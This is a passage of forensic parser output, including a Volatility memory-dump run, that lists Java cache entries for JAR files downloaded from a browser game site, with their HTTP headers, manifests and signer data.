IP: 50.7.219.70
<null>: HTTP/1.1 200 OK
content-length: 7162
last-modified: Mon, 26 Jul 2001 05:00:00 GMT
content-type: application/x-java-archive
date: Sun, 13 Jan 2013 16:22:01 GMT
server: nginx/1.0.15
deploy-request-content-type: application/x-java-archive

[*] Section 3 (Jar Manifest) found:
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.8.3
X-COMMENT: Main-Class will be added automatically by build
Class-Path:
Created-By: 1.7.0_07-b11 (Oracle Corporation)

[*] Section 4 (Code Signer) found:
[*] Found: Data block. Length: 4
Data: Hex: 00000000
[*] Found: Data block. Length: 3
Data: 0 Hex: 300d0a
--------------------------------------------------------------------------------

Memory Dump

$ vol.py --plugins=../plugins/ -f voltest.dmp idxparser
Volatility Foundation Volatility Framework 2.4
--------------------------------------------------------------------------------

[*] Section 1 (Metadata) found:
Content length: 61699
Last modified date: Fri, 10 Oct 2008 20:25:10 GMT (epoch: 1223670310)
Section 2 length: 438
Section 3 length: 22
Section 4 length: 15

[*] Section 2 (Download History) found:
URL: http://javagameplay.com/offroadrally/inthejar.jar
IP: 209.188.88.156
: HTTP/1.1 200 OK
content-length: 61699
last-modified: Fri, 10 Oct 2008 20:25:10 GMT
content-type: text/plain
date: Sat, 30 Aug 2014 19:53:56 GMT
server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
deploy-request-content-type: application/x-java-archive

[*] Section 3 (Jar Manifest) found:


[*] Section 4 (Code Signer) found:
[*] Found: Data block. Length: 4
Data:       	Hex: 00000000
[*] Found: Data block. Length: 3
Data: 0         	Hex: 300d0a
--------------------------------------------------------------------------------

[*] Section 1 (Metadata) found:
Content length: 158471
Last modified date: Fri, 10 Oct 2008 20:25:23 GMT (epoch: 1223670323)
Section 2 length: 434
Section 3 length: 22
Section 4 length: 15

[*] Section 2 (Download History) found:
URL: http://javagameplay.com/offroadrally/res.jar
IP: 209.188.88.156
: HTTP/1.1 200 OK
content-length: 158471
last-modified: Fri, 10 Oct 2008 20:25:23 GMT
content-type: text/plain
date: Sat, 30 Aug 2014 19:53:57 GMT
server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
deploy-request-content-type: application/x-java-archive

[*] Section 3 (Jar Manifest) found:


[*] Section 4 (Code Signer) found:
[*] Found: Data block. Length: 4
Data:       	Hex: 00000000
[*] Found: Data block. Length: 3
Data: 0         	Hex: 300d0a
--------------------------------------------------------------------------------

[*] Section 1 (Metadata) found:
Content length: 139622
Last modified date: Fri, 10 Oct 2008 20:25:16 GMT (epoch: 1223670316)
Section 2 length: 435
Section 3 length: 22
Section 4 length: 15

[*] Section 2 (Download History) found:
URL: http://javagameplay.com/offroadrally/jpct.jar
IP: 209.188.88.156
: HTTP/1.1 200 OK
content-length: 139622
last-modified: Fri, 10 Oct 2008 20:25:16 GMT
content-type: text/plain
date: Sat, 30 Aug 2014 19:53:56 GMT
server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
deploy-request-content-type: application/x-java-archive

[*] Section 3 (Jar Manifest) found:


[*] Section 4 (Code Signer) found:
[*] Found: Data block. Length: 4
Data:       	Hex: 00000000
[*] Found: Data block. Length: 3
Data: 0         	Hex: 300d0a
--------------------------------------------------------------------------------
1 2